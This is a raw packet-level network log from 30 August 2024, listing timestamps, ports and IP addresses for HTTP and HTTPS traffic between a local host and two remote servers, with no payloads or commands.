Aug 30, 2024 06:17:07.153954029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.153959036 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.153959036 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.153966904 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.153997898 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.154244900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.154301882 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.154333115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.154341936 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.154355049 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.154365063 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.154372931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.154382944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.154412031 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.154423952 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.154423952 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.154423952 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.154432058 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.154520035 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.154531956 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.154541016 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.154550076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.154573917 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.154597044 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.154684067 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.154692888 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.154706955 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.154716969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.154726028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.154732943 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.154757977 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.154767036 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.197601080 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.197623968 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.197690964 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.197716951 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.197729111 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.198015928 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.198035002 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.198076010 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.198084116 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.198092937 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.198122025 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.198407888 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.198421955 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.198465109 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.198472023 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.198507071 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.199172974 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.199198961 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.199229956 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.199237108 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.199246883 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.199317932 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.199337959 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.199368000 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.199377060 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.199387074 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.199414968 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.199778080 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.199836016 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.199841976 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.199877024 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.209136009 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.209175110 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.209194899 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.209199905 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.209222078 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.209238052 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.209239006 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.209253073 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.209276915 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.209300041 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.209425926 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.209476948 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.209548950 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.209580898 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.209602118 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.209609032 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.209618092 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.209619999 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.209628105 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.209656000 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.209662914 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.209678888 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.209872007 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.209882021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.209891081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.209903955 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.209913015 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.209922075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.209947109 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.209947109 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.209947109 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.209969997 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.210004091 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.210021019 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.210026979 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.210036039 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.210042953 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.210062027 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.210068941 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.210081100 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.210108995 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.215503931 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.215610027 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.215617895 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.215626955 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.215636015 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.215646029 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.215650082 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.215656042 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.215672016 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.215682030 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.215704918 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.215728998 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.215739012 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.215749025 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.215759039 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.215764999 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.215768099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.215770960 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.215778112 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.215786934 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.215789080 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.215812922 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.215827942 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.215970039 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.215979099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.215986967 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216002941 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216011047 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.216012955 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216022968 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216022968 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.216032982 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216042995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216043949 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.216052055 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.216075897 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.216118097 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216128111 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216136932 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216146946 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216155052 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.216156960 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216167927 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216176033 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.216177940 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216197968 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.216207027 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.216248989 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216259003 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216267109 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216286898 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.216310024 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.216378927 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216388941 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216398001 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216407061 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216415882 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216420889 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.216427088 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216435909 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216443062 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.216445923 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216455936 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216460943 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.216466904 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216475010 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216478109 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.216489077 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.216515064 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.216623068 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216631889 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216639996 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216650009 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216659069 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216661930 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.216667891 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216674089 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.216677904 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216701031 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.216717958 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.216748953 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216758013 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216768026 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216792107 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.216803074 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.216897964 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216907024 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216914892 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216924906 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216933966 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216942072 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.216942072 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216953039 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216962099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216972113 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216979980 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.216979980 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.216981888 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216990948 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.216999054 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.217000961 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217024088 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.217035055 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217040062 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.217044115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217052937 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217061996 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217070103 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.217071056 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217080116 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217088938 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217097044 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.217106104 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217114925 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217116117 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.217122078 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.217123985 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217133999 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217150927 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.217175007 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.217325926 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217334986 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217344046 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217353106 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217363119 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217371941 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217375994 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.217381001 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217386961 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.217391968 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217401028 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217410088 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217413902 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.217426062 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217434883 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217436075 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.217443943 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217453003 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217463017 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217469931 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.217472076 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217483044 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.217483997 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217494965 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217502117 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.217504025 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217514992 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217525005 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.217547894 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.217557907 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217566967 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217575073 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217590094 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217598915 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217608929 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.217609882 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217617989 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.217618942 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217631102 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217632055 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.217641115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217648983 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217658043 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.217659950 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217669010 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217678070 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217693090 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.217710018 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.217717886 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.217727900 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217745066 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217752934 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217770100 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.217781067 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.217808008 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.238609076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.238619089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.238626957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.238672018 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.238672018 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.239118099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239126921 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239136934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239145994 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239156008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239157915 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.239166021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239176035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239197969 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.239197969 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.239211082 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.239231110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239240885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239248991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239259005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239274025 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239274979 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.239284992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239295006 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239300013 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.239300013 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.239305973 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239314079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239330053 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.239362001 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.239485025 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239494085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239502907 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239511967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239522934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239531994 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239542007 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239548922 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.239548922 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.239552021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239562988 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239593029 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.239593029 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.239629984 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.239788055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239798069 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239805937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239816904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239831924 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239841938 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239850044 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.239850044 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.239851952 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239861965 CEST	80	49733	147.45.44.104	192.168.2.4
